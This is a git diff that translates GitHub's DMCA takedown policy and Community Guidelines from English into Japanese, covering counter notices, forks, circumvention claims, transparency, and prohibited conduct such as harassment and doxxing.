-7. **User May Send A Counter Notice.** We encourage users who have had content disabled to consult with a lawyer about their options. If a user believes that their content was disabled as a result of a mistake or misidentification, they may send us a [counter notice](/articles/guide-to-submitting-a-dmca-counter-notice). As with the original notice, we will make sure that the counter notice is sufficiently detailed (as explained in the [how-to guide](/articles/guide-to-submitting-a-dmca-counter-notice)). If it is, we will [post it](#d-transparency) to our [public repository](https://github.com/github/dmca) and pass the notice back to the copyright owner by sending them the link.
+7. **ユーザは異議申し立て通知を送信できます。**コンテンツを無効にしたユーザは、選択肢について弁護士に相談することをお勧めします。 間違いや誤認によりコンテンツが無効にされたと思われる場合は、ユーザは[異議申し立て通知](/articles/guide-to-submitting-a-dmca-counter-notice)を送信できます。 元の通知と同様に、当社は異議申し立て通知が十分に詳細であることを確認します（[ハウツーガイド](/articles/guide-to-submitting-a-dmca-counter-notice)で説明されています）。 問題ない場合、当社は[パブリックリポジトリ](https://github.com/github/dmca)に[投稿](#d-transparency)し、リンクを送信することで著作権所有者に通知を返します。
 
-8. **Copyright Owner May File a Legal Action.** If a copyright owner wishes to keep the content disabled after receiving a counter notice, they will need to initiate a legal action seeking a court order to restrain the user from engaging in infringing activity relating to the content on GitHub. In other words, you might get sued. If the copyright owner does not give GitHub notice within 10-14 days, by sending a copy of a valid legal complaint filed in a court of competent jurisdiction, GitHub will re-enable the disabled content.
+8. **著作権所有者は法的措置を講じることができます。**異議申し立て通知を受け取った後も引き続きコンテンツを無効にしたい場合、著作権所有者は GitHub のコンテンツに関連する侵害行為にユーザが関与することを抑制する裁判所命令を求める法的措置を講じる必要があります。 つまり、訴えられる可能性があります。 10〜14 日以内に著作権所有者が GitHub に通知しない場合、管轄権のある裁判所に提出された有効な訴状の写しを送信することにより、GitHub は無効化されたコンテンツを再度有効にします。
 
-## B. What About Forks? (or What's a Fork?)
+## B. フォークの場合は？ （またはフォークとは？）
 
-One of the best features of GitHub is the ability for users to "fork" one another's repositories. What does that mean? In essence, it means that users can make a copy of a project on GitHub into their own repositories. As the license or the law allows, users can then make changes to that fork to either push back to the main project or just keep as their own variation of a project. Each of these copies is a "[fork](/articles/github-glossary#fork)" of the original repository, which in turn may also be called the "parent" of the fork.
+GitHub の最も優れた機能の 1 つに、ユーザが互いのリポジトリを「フォーク」できることがあります。 どういうことかと言うと、 基本的に、ユーザは GitHub のプロジェクトのコピーを自分のリポジトリに作成できます。 ライセンスや法律で許可されている範囲で、ユーザはそのフォークを変更してメインプロジェクトに戻したり、プロジェクトの独自のバリエーションとして保持したりすることができます。 これらの各コピーは、元のリポジトリの「[フォーク](/articles/github-glossary#fork)」であり、フォークの「親」とも呼ばれます。
 
-GitHub *will not* automatically disable forks when disabling a parent repository. This is because forks belong to different users, may have been altered in significant ways, and may be licensed or used in a different way that is protected by the fair-use doctrine. GitHub does not conduct any independent investigation into forks. We expect copyright owners to conduct that investigation and, if they believe that the forks are also infringing, expressly include forks in their takedown notice.
+GitHub は、親リポジトリを無効にするときにフォークを自動的に無効に*しません*。 これは、フォークが異なるユーザに属し、著しく変更されている可能性があり、フェアユースの原則によって保護されている別の方法でライセンス供与または使用されている可能性があるためです。 GitHub がフォークに対して独立した調査を行うことはありません。 著作権所有者がその調査を行い、フォークも著作権を侵害していると思われる場合は、テイクダウン通知にフォークを明示的に含めることが求められます。
 
-In rare cases, you may be alleging copyright infringement in a full repository that is actively being forked. If at the time that you submitted your notice, you identified all existing forks of that repository as allegedly infringing, we would process a valid claim against all forks in that network at the time we process the notice. We would do this given the likelihood that all newly created forks would contain the same content. In addition, if the reported network that contains the allegedly infringing content is larger than one hundred (100) repositories and thus would be difficult to review in its entirety, we may consider disabling the entire network if you state in your notice that, "Based on the representative number of forks I have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository." Your sworn statement would apply to this statement.
+時には、活発にフォークされているリポジトリ全体で著作権の侵害を主張することもあるでしょう。 あなたが通知を送信した時点で、そのリポジトリの既存フォーク全体を指定して著作権を侵害していると申し立てた場合、通知を処理する際に、そのネットワークにあるすべてのフォークに対して、有効な請求を適用します。 新しく作成されたフォークすべてに同じコンテンツが含まれる可能性を考慮して、これを行います。 さらに、著作権侵害の疑いがあるコンテンツを含むとして報告されたネットワークが 100 リポジトリを超え、そのすべてを確認することが困難である際、通知の中であなたが次のように記載している場合にはネットワーク全体の無効化を検討します。「サンプルとして十分な数のフォークを確認した結果、私はこのフォークのすべてまたは大部分が、親リポジトリと同程度に著作権を侵害しているものと信じています。(Based on the representative number of forks I have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository.)」 あなたの宣誓は、この申し立てに対して適用されます。
 
-## C. What about Circumvention Claims?
+## C. 迂回の申し立てへの対応
 
-The DMCA prohibits the [circumvention of technical measures](https://www.copyright.gov/title17/92chap12.html) that effectively control access to works protected by copyright. Given that these types of claims are often highly technical in nature, GitHub requires claimants to provide [detailed information about these claims](/github/site-policy/guide-to-submitting-a-dmca-takedown-notice#complaints-about-anti-circumvention-technology), and we undertake a more extensive review. 
+DMCA は、著作権で保護されている著作物へのアクセスを効果的に制限する[技術的手段の迂回](https://www.copyright.gov/title17/92chap12.html)を禁止しています。 この種の申し立ては非常に技術的に高度である場合が多いので、GitHub は申立人に対し、[申し立てについて詳細な情報](/github/site-policy/guide-to-submitting-a-dmca-takedown-notice#complaints-about-anti-circumvention-technology)の提供を求め、比較的大規模な確認を行います。
 
-A circumvention claim must include the following details about the technical measures in place and the manner in which the accused project circumvents them. Specifically, the notice to GitHub must include detailed statements that describe:
-1. What the technical measures are;
-2. How they effectively control access to the copyrighted material; and 
-3. How the accused project is designed to circumvent their previously described technological protection measures.
+迂回に関する申し立てには、訴えるプロジェクトが備える技術的手段、および迂回の方法について、以下を詳述する必要があります。 特に GitHub への通知には、以下を説明する詳細な文章を記載する必要があります。
+1. 技術的手段
+2. 用いられている技術的手段が著作権で保護されたものへのアクセスを効果的に制限する方法
+3. 訴えるプロジェクトが、前述の技術的保護措置をどのように迂回するよう設計されているか
 
-GitHub will review circumvention claims closely, including by both technical and legal experts. In the technical review, we will seek to validate the details about the manner in which the technical protection measures operate and the way the project allegedly circumvents them. In the legal review, we will seek to ensure that the claims do not extend beyond the boundaries of the DMCA. In cases where we are unable to determine whether a claim is valid, we will err on the side of the developer, and leave the content up. If the claimant wishes to follow up with additional detail, we would start the review process again to evaluate the revised claims.
+GitHub は、技術的専門家と法的専門家の両者を交えて、迂回の申し立てを綿密に調べます。 技術的審査においては、技術的保護措置の仕組みと、プロジェクトが保護措置を迂回すると申し立てられている方法の詳細を検証するよう努めます。 法的審査においては、申し立てが DMCA の範囲を超えないように努めます。 申し立てが有効であるかどうかを判断できない場合は、開発者側を優先し、コンテンツを残します。 申立人が追加情報を提供して再度審査を求める場合、改訂された申し立てを評価するため再度審査を開始することがあります。
 
-Where our experts determine that a claim is complete, legal, and technically legitimate, we will contact the repository owner and give them a chance to respond to the claim or make changes to the repo to avoid a takedown. If they do not respond, we will attempt to contact the repository owner again before taking any further steps. In other words, we will not disable a repository based on a claim of circumvention technology  without attempting to contact a repository owner to give them a chance to respond or make changes first. If we are unable to resolve the issue by reaching out to the repository owner first, we will always be happy to consider a response from the repository owner even after the content has been disabled if they would like an opportunity to dispute the claim, present us with additional facts, or make changes to have the content restored. When we need to disable content, we will ensure that repository owners can export their issues and pull requests and other repository data that do not contain the alleged circumvention code to the extent legally possible.
+当社の専門家が、申し立てが十全で、法的、技術的に妥当であると判断した場合、当社はリポジトリのオーナーに連絡し、テイクダウンを回避するため、申し立てに応答するかリポジトリに変更を加える機会を与えます。 リポジトリのオーナーが応答しない場合は、さらなる対処を行う前に再度連絡を試みます。 つまり、リポジトリのオーナーに応答または変更の機会を与えるため連絡を試みる前に、迂回技術の申し立てに基づいてリポジトリを無効化することはいたしません。 リポジトリのオーナーに連絡して問題が解決しなかった場合、たとえコンテンツが無効化された後であっても、申し立てに意義を唱える機会を求める、追加の事実を提供する、またはコンテンツを復元するために変更を行う場合、当社はリポジトリのオーナーからの応答を検討いたします。 当社がコンテンツを無効化する必要がある場合は、Issue、プルリクエスト、および迂回コードと申し立てられているものを含まないその他のリポジトリデータについて、法的に可能な範囲でリポジトリのオーナーがエクスポートできるようにします。
 
-Please note, our review process for circumvention technology does not apply to content that would otherwise violate our Acceptable Use Policy restrictions against sharing unauthorized product licensing keys, software for generating unauthorized product licensing keys, or software for bypassing checks for product licensing keys. Although these types of claims may also violate the DMCA provisions on circumvention technology, these are typically straightforward and do not warrant additional technical and legal review. Nonetheless, where a claim is not straightforward, for example in the case of jailbreaks, the circumvention technology claim review process would apply.  
+ただし、当社の迂回技術に関する審査プロセスは、当社の利用規定に反して、不正な製品ライセンスキー、製品ライセンスキーを不正に生成するソフトウェア、および製品ライセンスキーのチェックを迂回するソフトウェアを共有するコンテンツには適用されません。 この種の申し立ては、迂回技術に関する DMCA の規定にも違反していることがありますが、通常は違反が明白であり、技術的および法的審査の実施は保証できません。 しかしながら、ジェイルブレイクなど、申し立ての真偽が明白でない場合は、申し立ての審査プロセスが適用される可能性があります。
 
 When GitHub processes a DMCA takedown under our circumvention technology claim review process, we will offer the repository owner a referral to receive independent legal consultation through [GitHub’s Developer Defense Fund](https://github.blog/2021-07-27-github-developer-rights-fellowship-stanford-law-school/) at no cost to them.
 
-## D. What If I Inadvertently Missed the Window to Make Changes?
+## D. うっかりして期間内に変更できなかった場合は？
 
-We recognize that there are many valid reasons that you may not be able to make changes within the window of approximately 1 business day we provide before your repository gets disabled. Maybe our message got flagged as spam, maybe you were on vacation, maybe you don't check that email account regularly, or maybe you were just busy. We get it. If you respond to let us know that you would have liked to make the changes, but somehow missed the first opportunity, we will re-enable the repository one additional time for approximately 1 business day to allow you to make the changes. Again, you must notify us that you have made the changes in order to keep the repository enabled after that window of approximately 1 business day, as noted above in [Step A.4](#a-how-does-this-actually-work). Please note that we will only provide this one additional chance.
+正当な理由で、リポジトリが無効になる前に提供されるおよそ 1 営業日の期間内に変更を行うことができないケースも多々あることでしょう。 当社からのメッセージがスパムフォルダに入ってしまう場合も、休暇中だった場合も、対象のメールアカウントを定期的に確認していない場合も、単に忙しかった場合もあるでしょう。 このように 変更を行いたかったが、何らかの理由で最初の機会を逃した場合は、その旨を当社にご連絡ください。変更を行うことができるように、リポジトリを再度約 1 営業日有効にします。 繰り返しになりますが、上記の[ステップ A.4](#a-how-does-this-actually-work) で説明したように、約 1 営業日が過ぎてもリポジトリを有効に保つためには変更を行ったことを当社に通知する必要があります。 なお、この追加の機会が提供されるのは 1 度限りですのでご注意ください。
 
-## E. Transparency
+## E. 透明性
 
-We believe that transparency is a virtue. The public should know what content is being removed from GitHub and why. An informed public can notice and surface potential issues that would otherwise go unnoticed in an opaque system. We post redacted copies of any legal notices we receive (including original notices, counter notices or retractions) at <https://github.com/github/dmca>. We will not publicly publish your personal contact information; we will remove personal information (except for usernames in URLs) before publishing notices. We will not, however, redact any other information from your notice unless you specifically ask us to. Here are some examples of a published [notice](https://github.com/github/dmca/blob/master/2014/2014-05-28-Delicious-Brains.md) and [counter notice](https://github.com/github/dmca/blob/master/2014/2014-05-01-Pushwoosh-SDK-counternotice.md) for you to see what they look like. When we remove content, we will post a link to the related notice in its place.
+当社は、透明性は美徳であると信じています。 GitHub から削除されるコンテンツとその理由は公にされるべきです。 知識のある人は、不透明なシステムでは見過ごされてしまう潜在的な問題に気づきこれを表面化することができます。 当社は、受け取った法的通知（元の通知、異議申し立て通知、撤回を含む）の編集後の写しを <https://github.com/github/dmca> に投稿します。 当社は、個人の連絡先情報は公開しません。通知を公開する前に個人情報（URL のユーザ名を除く）を削除します。 ただし、特別な要請がない限り、当社が通知のその他の情報を編集することはありません。 こちらに公開された[通知](https://github.com/github/dmca/blob/master/2014/2014-05-28-Delicious-Brains.md)と[異議申し立て通知](https://github.com/github/dmca/blob/master/2014/2014-05-01-Pushwoosh-SDK-counternotice.md)の例を示しますのでご覧ください。 当社は、コンテンツを削除すると、関連する通知へのリンクを代わりに投稿します。
 
-Please also note that, although we will not publicly publish unredacted notices, we may provide a complete unredacted copy of any notices we receive directly to any party whose rights would be affected by it.
+また、当社が未編集の通知を公開することはありませんが、受け取った通知の未編集の完全な写しを、それによって自身の権利が影響を受ける当事者に直接提供する場合はありますのでご注意ください。
 
-## F. Repeated Infringement
+## F. 繰り返しの侵害
 
-It is the policy of GitHub, in appropriate circumstances and in its sole discretion, to disable and terminate the accounts of users who may infringe upon the copyrights or other intellectual property rights of GitHub or others.
+GitHub は、当社のポリシーとして、状況によっては独自の裁量により、GitHub またはその他の著作権またはその他の知的財産権を侵害する可能性のあるユーザのアカウントを無効化および解約します。
 
-## G. Submitting Notices
+## G. 通知の提出
 
-If you are ready to submit a notice or a counter notice:
-- [How to Submit a DMCA Notice](/articles/guide-to-submitting-a-dmca-takedown-notice)
-- [How to Submit a DMCA Counter Notice](/articles/guide-to-submitting-a-dmca-counter-notice)
+通知または異議申し立て通知を提出する準備ができている場合
+- [DMCA 通知の提出方法](/articles/guide-to-submitting-a-dmca-takedown-notice)
+- [DMCA 異議申し立て通知の提出方法](/articles/guide-to-submitting-a-dmca-counter-notice)
 
-## Learn More and Speak Up
+## 詳細および当社の見解
 
-If you poke around the Internet, it is not too hard to find commentary and criticism about the copyright system in general and the DMCA in particular. While GitHub acknowledges and appreciates the important role that the DMCA has played in promoting innovation online, we believe that the copyright laws could probably use a patch or two—if not a whole new release. In software, we are constantly improving and updating our code. Think about how much technology has changed since 1998 when the DMCA was written. Doesn't it just make sense to update these laws that apply to software?
+インターネットを探せば、著作権システム全般、特に DMCA についての解説や批判は難なく見つけることができるでしょう。 GitHub は、オンラインでイノベーションを促進する上で DMCA が果たしてきた重要な役割を認識し、評価していますが、著作権法については刷新とまではいかなくても、多少の改訂を加える程度のことはあってもいいのではないかと考えています。 ソフトウェアの世界では、コードは絶えず改善、更新されています。 DMCA が作成された 1998 年から、テクノロジーはどれほど変化したことでしょう。 ソフトウェアに適用されるこうした法律を更新することは理にかなっているのではないでしょうか。
 
-We don't presume to have all the answers. But if you are curious, here are a few links to scholarly articles and blog posts we have found with opinions and proposals for reform:
+もちろん当社の考え方が絶対ではありません が、改革に関する意見や提案について私たちが見つけた学術記事やブログ投稿を以下に紹介しますので、もしご関心がございましたらご覧ください。
 
 - [Unintended Consequences: Twelve Years Under the DMCA](https://www.eff.org/wp/unintended-consequences-under-dmca) (Electronic Frontier Foundation)
 - [Statutory Damages in Copyright Law: A Remedy in Need of Reform](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=1375604) (William & Mary Law Review)
@@ -120,4 +120,4 @@ We don't presume to have all the answers. But if you are curious, here are a few
 - [Opportunities for Copyright Reform](https://www.cato-unbound.org/issues/january-2013/opportunities-copyright-reform) (Cato Unbound)
 - [Fair Use Doctrine and the Digital Millennium Copyright Act: Does Fair Use Exist on the Internet Under the DMCA?](https://digitalcommons.law.scu.edu/lawreview/vol42/iss1/6/) (Santa Clara Law Review)
 
-GitHub doesn't necessarily endorse any of the viewpoints in those articles. We provide the links to encourage you to learn more, form your own opinions, and then reach out to your elected representative(s) (e.g, in the [U.S. Congress](https://www.govtrack.us/congress/members) or [E.U. Parliament](https://www.europarl.europa.eu/meps/en/home)) to seek whatever changes you think should be made.
+GitHub は、必ずしもこれらの記事の視点を支持しているわけではありません。 私たちがこうしたリンクを提供するのは、あなたがより多くのことを学び、あなた自身の意見を形成し、そしてあなたが選んだ代表者（例えば、[米国 議会](https://www.govtrack.us/congress/members)や[欧州 議会](https://www.europarl.europa.eu/meps/en/home)）に働き掛けて、あなたが考える必要な変化を求めることができるようにするためです。
diff --git a/translations/ja-JP/content/github/site-policy/github-community-guidelines.md b/translations/ja-JP/content/github/site-policy/github-community-guidelines.md
index 7011d661da..ef578e91c1 100644
--- a/translations/ja-JP/content/github/site-policy/github-community-guidelines.md
+++ b/translations/ja-JP/content/github/site-policy/github-community-guidelines.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Community Guidelines
+title: GitHubコミュニティガイドライン
 redirect_from:
   - /community-guidelines
   - /articles/github-community-guidelines
@@ -10,110 +10,99 @@ topics:
   - Legal
 ---
 
-Millions of developers host millions of projects on GitHub — both open and closed source — and we're honored to play a part in enabling collaboration across the community every day. Together, we all have an exciting opportunity and responsibility to make this a community we can be proud of.
+GitHub では、何百万人もの開発者が何百万ものプロジェクト（オープンソースとクローズドソースの両方）をホストしています。私たちは、コミュニティの日々のコラボレーションに貢献できることを光栄に思います。 私たちには、誇りに思うことができるコミュニティを実現するための素晴らしいチャンスがあると同時に、責任も背負っています。
 
-GitHub users worldwide bring wildly different perspectives, ideas, and experiences, and range from people who created their first "Hello World" project last week to the most well-known software developers in the world. We are committed to making GitHub a welcoming environment for all the different voices and perspectives in our community, while maintaining a space where people are free to express themselves.
+世界中の GitHub ユーザたちの持つ視点、アイデア、経験は十人十色。数日前に初めて「Hello World」プロジェクトを作った人から、世界で最も有名なソフトウェア開発者まで、さまざまなユーザがいます。 私たちは、GitHub をコミュニティ内のさまざまな意見や視点に対応した快適な環境にし、人々が自由に自分を表現できるスペースになるよう取り組んでいます。
 
-We rely on our community members to communicate expectations, [moderate](#what-if-something-or-someone-offends-you) their projects, and {% data variables.contact.report_abuse %} or {% data variables.contact.report_content %}. By outlining what we expect to see within our community, we hope to help you understand how best to collaborate on GitHub, and what type of actions or content may violate our [Terms of Service](#legal-notices), which include our [Acceptable Use Policies](/github/site-policy/github-acceptable-use-policies). We will investigate any abuse reports and may moderate public content on our site that we determine to be in violation of our Terms of Service.
+期待の伝達やプロジェクトの[モデレート](#what-if-something-or-someone-offends-you)、虐待的な行動やコンテンツの{% data variables.contact.report_abuse %}報告{% data variables.contact.report_content %}は、コミュニティメンバーにかかっています。 GitHub でコラボレーションする最適な方法や、どんな行為やコンテンツが当社の[利用規定](/github/site-policy/github-acceptable-use-policies)を含む[利用規約](#legal-notices)に違反する恐れがあるのかを皆様に理解していただくために、ここではコミュニティ内では何が期待されるのかを説明いたします。 当社は不正行為の報告を調査し、利用規約に違反していると判断したサイトの公開コンテンツをモデレートする場合があります。
 
-## Building a strong community
+## 強いコミュニティを作る
 
-The primary purpose of the GitHub community is to collaborate on software projects.
-We want people to work better together. Although we maintain the site, this is a community we build *together*, and we need your help to make it the best it can be.
+GitHub コミュニティの主な目的は、ソフトウェアプロジェクトの共同作業です。 私たちの望みは、そんな皆様の共同作業がより良くなることです。 当社はサイトを管理していますが、これは私たちが*共に*構築するコミュニティです。それを最高のものにするためには、皆様のサポートが必要です。
 
-* **Be welcoming and open-minded** - Other collaborators may not have the same experience level or background as you, but that doesn't mean they don't have good ideas to contribute. We encourage you to be welcoming to new collaborators and those just getting started.
+* **広い心で受け入れる** - 他のコラボレータとあなたとでは、経験値やバックグラウンドが異なるかもしれませんが、だからといって相手がコントリビューションにつながる良いアイデアを持っていないということにはなりません。 新たなコラボレータや、かけだしのユーザーは歓迎してあげましょう。
 
-* **Respect each other.**  Nothing sabotages healthy conversation like rudeness. Be civil and professional, and don’t post anything that a reasonable person would consider offensive, abusive, or hate speech. Don’t harass or grief anyone. Treat each other with dignity and consideration in all interactions.
+* **お互いを尊重し合うこと。**無礼な態度ほど、健全な会話を妨げるものはありません。 礼儀正しく、大人の態度を保ちましょう。一般的に攻撃的、虐待的、ヘイトスピーチとみなされるような内容を投稿しないでください。 嫌がらせや、人が悲しむような行為は禁止されています。 あらゆるやり取りにおいて、お互いに品位と配慮をもって接しましょう。
 
-  You may wish to respond to something by disagreeing with it. That’s fine. But remember to criticize ideas, not people. Avoid name-calling, ad hominem attacks, responding to a post’s tone instead of its actual content, and knee-jerk contradiction. Instead, provide reasoned counter-arguments that improve the conversation.
+  意見に反対したいこともあるでしょう。 それは全くかまいません。 ただし、批判すべきはアイデアであって、人ではありません。 悪口、個人攻撃、投稿の内容ではなく口調に対する応答、脊髄反射的な反論を行うのではなく、 会話の質を高めるような、理論的な反論を行いましょう。
 
-* **Communicate with empathy** - Disagreements or differences of opinion are a fact of life. Being part of a community means interacting with people from a variety of backgrounds and perspectives, many of which may not be your own. If you disagree with someone, try to understand and share their feelings before you address them. This will promote a respectful and friendly atmosphere where people feel comfortable asking questions, participating in discussions, and making contributions.
+* **共感をもってコミュニケーションを行う** - 意見の不一致や相違はよくあることです。 コミュニティの一員であることは、あなたとは違った背景や視点を持つさまざまな人と交流するということです。 誰かと意見が合わない場合は、それを直に伝える前に、その人を理解し、相手の立場に立ってみるようにしましょう。 こうすることで、質問や議論への参加、コントリビューションなどがしやすい、敬意と親密さに満ちた雰囲気が作られます。
 
-* **Be clear and stay on topic** - People use GitHub to get work done and to be more productive. Off-topic comments are a distraction (sometimes welcome, but usually not) from getting work done and being productive. Staying on topic helps produce positive and productive discussions.
+* **明確に伝え、トピックから逸脱しない** - GitHub は、仕事を進めたり生産性を高めたりするために使われるものです。 トピックから逸脱したコメントは、生産的に働いて仕事を終わらせるという目的から気をそらしてしまいます（たまにはいいかもしれませんが、普段は慎みましょう）。 トピックに集中することで、ポジティブで生産的な議論が生まれます。
 
-   Additionally, communicating with strangers on the Internet can be awkward. It's hard to convey or read tone, and sarcasm is frequently misunderstood. Try to use clear language, and think about how it will be received by the other person.
+   また、インターネット上で見知らぬ人とやりとりする場合は、注意深さが求められます。 口調を伝えたり読み取ったりすることは難しく、皮肉な言葉が誤解されることも少なくありません。 明確な言葉を用い、相手がそれをどのように受け取るかを考えるようにしましょう。
 
-## What if something or someone offends you?
+## 嫌な思いをしたら
 
-We rely on the community to let us know when an issue needs to be addressed. We do not actively monitor the site for offensive content. If you run into something or someone on the site that you find objectionable, here are some tools GitHub provides to help you take action immediately:
+対応が必要な問題が当社の耳に入るかどうかは、コミュニティにかかっています。 私たちが攻撃的なコンテンツについてサイトを積極的に監視することはありません。 サイトで不快な思いをした場合は、GitHub が提供するいくつかのツールを使用することですぐに行動を取ることができます。
 
-* **Communicate expectations** - If you participate in a community that has not set their own, community-specific guidelines, encourage them to do so either in the README or [CONTRIBUTING file](/articles/setting-guidelines-for-repository-contributors/), or in [a dedicated code of conduct](/articles/adding-a-code-of-conduct-to-your-project/), by submitting a pull request.
+* ** 期待を伝える** - コミュニティ固有の独自のガイドラインを設定していないコミュニティに参加する場合は、プルリクエストを送信して、README ファイルまたは [CONTRIBUTING](/articles/setting-guidelines-for-repository-contributors/) ファイル、または[専用の行動規範](/articles/adding-a-code-of-conduct-to-your-project/)のいずれかで参加することを推奨します。
 
-* **Moderate Comments** - If you have [write-access privileges](/articles/repository-permission-levels-for-an-organization/) for a repository, you can edit, delete, or hide anyone's comments on commits, pull requests, and issues. Anyone with read access to a repository can view a comment's edit history. Comment authors and people with write access to a repository can delete sensitive information from a comment's edit history. For more information, see "[Tracking changes in a comment](/articles/tracking-changes-in-a-comment)" and "[Managing disruptive comments](/articles/managing-disruptive-comments)."
+* **コメントをモデレートする** - リポジトリの[書き込みアクセス権限](/articles/repository-permission-levels-for-an-organization/)がある場合、コミット、プルリクエスト、および Issue に関するコメントを編集、削除、または非表示にすることができます。 リポジトリの読み取りアクセスがあれば、誰でもコミットの編集履歴を見ることができます。 コメントの作者とリポジトリの書き込みアクセスがある人は、コメントの編集履歴から機密情報を削除できます。 詳細については、「[コメントの変更を追跡する](/articles/tracking-changes-in-a-comment)」および「[混乱を生むコメントを管理する](/articles/managing-disruptive-comments)」を参照してください。
 
-* **Lock Conversations**  - If a discussion in an issue or pull request gets out of control, you can [lock the conversation](/articles/locking-conversations/).
+* **会話をロックする**  - Issue やプルリクエストのディスカッションが制御不能になった場合は、[会話をロック](/articles/locking-conversations/)できます。
 
-* **Block Users**  - If you encounter a user who continues to demonstrate poor behavior, you can [block the user from your personal account](/articles/blocking-a-user-from-your-personal-account/) or [block the user from your organization](/articles/blocking-a-user-from-your-organization/).
+* **ユーザーをブロックする**  - 繰り返し不適切な行動を取るユーザに遭遇した場合は、[ユーザを個人アカウントからブロック](/articles/blocking-a-user-from-your-personal-account/)したり、[ユーザを Organization からブロック](/articles/blocking-a-user-from-your-organization/)できます。
 
-Of course, you can always contact us to {% data variables.contact.report_abuse %} if you need more help dealing with a situation.
+もちろん、状況に対処するためにさらなるサポートが必要な場合は、いつでも{% data variables.contact.report_abuse %}するため連絡できます。
 
-## What is not allowed?
+## 禁止事項
 
-We are committed to maintaining a community where users are free to express themselves and challenge one another's ideas, both technical and otherwise. Such discussions, however, are unlikely to foster fruitful dialog when ideas are silenced because community members are being shouted down or are afraid to speak up. That means you should be respectful and civil at all times, and refrain from attacking others on the basis of who they are. We do not tolerate behavior that crosses the line into the following:
+私たちは、ユーザが自由に自己表現し、それが技術的な内容であろうがそうでなかろうが、お互いのアイデアについて意見を交換できるコミュニティを維持できるように取り組んでいます。 しかし、コミュニティのメンバーが怒鳴られたり、発言するのが怖いためにアイデアが出てこない場合、このようなディスカッションから実りある対話が生まれることは少ないでしょう。 このため、常に敬意を払い、礼儀正しく振る舞うべきで、相手が何者かであるかを根拠にして他人を攻撃することは控えるべきです。 当社は、一線を越えた次のような行為を許容しません。
 
-- #### Threats of violence 
-   You may not threaten violence towards others or use the site to organize, promote, or incite acts of real-world violence or terrorism. Think carefully about the words you use, the images you post, and even the software you write, and how they may be interpreted by others. Even if you mean something as a joke, it might not be received that way. If you think that someone else *might* interpret the content you post as a threat, or as promoting violence or terrorism, stop. Don't post it on GitHub. In extraordinary cases, we may report threats of violence to law enforcement if we think there may be a genuine risk of physical harm or a threat to public safety.
+- #### 暴力による脅し。 他人を脅したり、サイトを利用して現実世界の暴力やテロ行為を組織、促進、または扇動することはできません。 言葉を発する場合や画像を投稿する場合はもちろん、ソフトウェアを作成する場合でさえも、それが他人からどのように解釈される可能性があるかを慎重に考えてください。 あなたが冗談のつもりでも、そのように受け取られないかもしれません。 自分が投稿したコンテンツが脅しである、または暴力やテロを助長していると他の誰かが解釈する*かもしれない*と思われる場合は、 それをGitHubに投稿するのを止めましょう。 場合によっては、当社が身体的危害のリスクや公共の安全に対する脅威だと判断し、暴力の脅威として法執行機関に報告する場合があります。
 
-- #### Hate speech and discrimination 
-   While it is not forbidden to broach topics such as age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation, we do not tolerate speech that attacks a person or group of people on the basis of who they are. Just realize that when approached in an aggressive or insulting manner, these (and other) sensitive topics can make others feel unwelcome, or perhaps even unsafe. While there's always the potential for misunderstandings, we expect our community members to remain respectful and civil when discussing sensitive topics.
+- #### 差別的発言と差別。 年齢、体の大きさ、障害、民族性、性自認、性表現、経験の度合い、国籍、容姿、人種、宗教、性同一性、性的指向などのトピックを持ち出すこと自体は禁止されていませんが、相手が何者かであるかを根拠にして個人またはグループを攻撃する発言を当社は許容しません。 攻撃的または侮辱的なアプローチでこうしたデリケートなトピックを扱った場合、他の人を不快に感じさせたり、場合によっては危険にさえ感じさせたりすることがあることを認識してください。 誤解が生まれる可能性を完全に排除することはできませんが、デリケートなトピックを議論するときは、常に敬意を払い、礼儀正しく振る舞うことがコミュニティメンバーに期待されます。
 
-- #### Bullying and harassment 
-   We do not tolerate bullying or harassment. This means any habitual badgering or intimidation targeted at a specific person or group of people. In general, if your actions are unwanted and you continue to engage in them, there's a good chance you are headed into bullying or harassment territory.
+- #### いじめと嫌がらせ。 私たちは、いじめや嫌がらせを容認しません。 これは、特定の個人またはグループを標的とする常習的な煽りや脅迫のことです。 一般的に、迷惑な行動を続けた場合、いじめや嫌がらせになる恐れが高くなります。
 
-- #### Disrupting the experience of other users 
-   Being part of a community includes recognizing how your behavior affects others and engaging in meaningful and productive interactions with people and the platform they rely on. Behaviors such as repeatedly posting off-topic comments, opening empty or meaningless issues or pull requests, or using any other platform feature in a way that continually disrupts the experience of other users are not allowed. While we encourage maintainers to moderate their own projects on an individual basis, GitHub staff may take further restrictive action against accounts that are engaging in these types of behaviors.
+- #### 他のユーザのエクスペリエンスを妨げること。 コミュニティの一員であることには、あなたの振る舞いが他の人に与える影響を認識し、人々およびプラットフォームと有意義で生産的なやり取りを行うということでもあります。 話題から逸れたコメントを繰り返し投稿したり、空や無意味な Issue、プルリクエストをオープンしたり、プラットフォームのその他の機能を、他のユーザのエクスペリエンスを継続的に妨げたりするような振る舞いは許されません。 メンテナには自己のプロジェクトを個別に管理していただく一方、GitHubのスタッフは、こうした振る舞いに関与するアカウントに対して、さらに踏み込んだ制限を行うことができます。
 
-- #### Impersonation
-   You may not impersonate another person by copying their avatar, posting content under their email address, using a similar username or otherwise posing as someone else. Impersonation is a form of harassment.
+- #### Impersonation You may not impersonate another person by copying their avatar, posting content under their email address, using a similar username or otherwise posing as someone else. なりすましは嫌がらせの一つです。
 
-- #### Doxxing and invasion of privacy 
-   Don't post other people's personal information, such as personal, private email addresses, phone numbers, physical addresses, credit card numbers, Social Security/National Identity numbers, or passwords. Depending on the context, such as in the case of intimidation or harassment, we may consider other information, such as photos or videos that were taken or distributed without the subject's consent, to be an invasion of privacy, especially when such material presents a safety risk to the subject.
+- #### 晒しとプライバシーの侵害。 プライベート用のメールアドレス、電話番号、住所、クレジットカード番号、社会保障番号、国民識別番号、パスワードなど、他の人の個人情報は投稿しないでください。 脅迫や嫌がらせに該当するなど状況次第では、当社は対象の同意なしに撮影または配信された写真やビデオなどの他の情報をプライバシーの侵害とみなす場合があります。その情報が対象の安全リスクになる場合は特にです。
 
-- #### Sexually obscene content
-   Don’t post content that is pornographic. This does not mean that all nudity, or all code and content related to sexuality, is prohibited. We recognize that sexuality is a part of life and non-pornographic sexual content may be a part of your project, or may be presented for educational or artistic purposes. We do not allow obscene sexual content or content that may involve the exploitation or sexualization of minors.
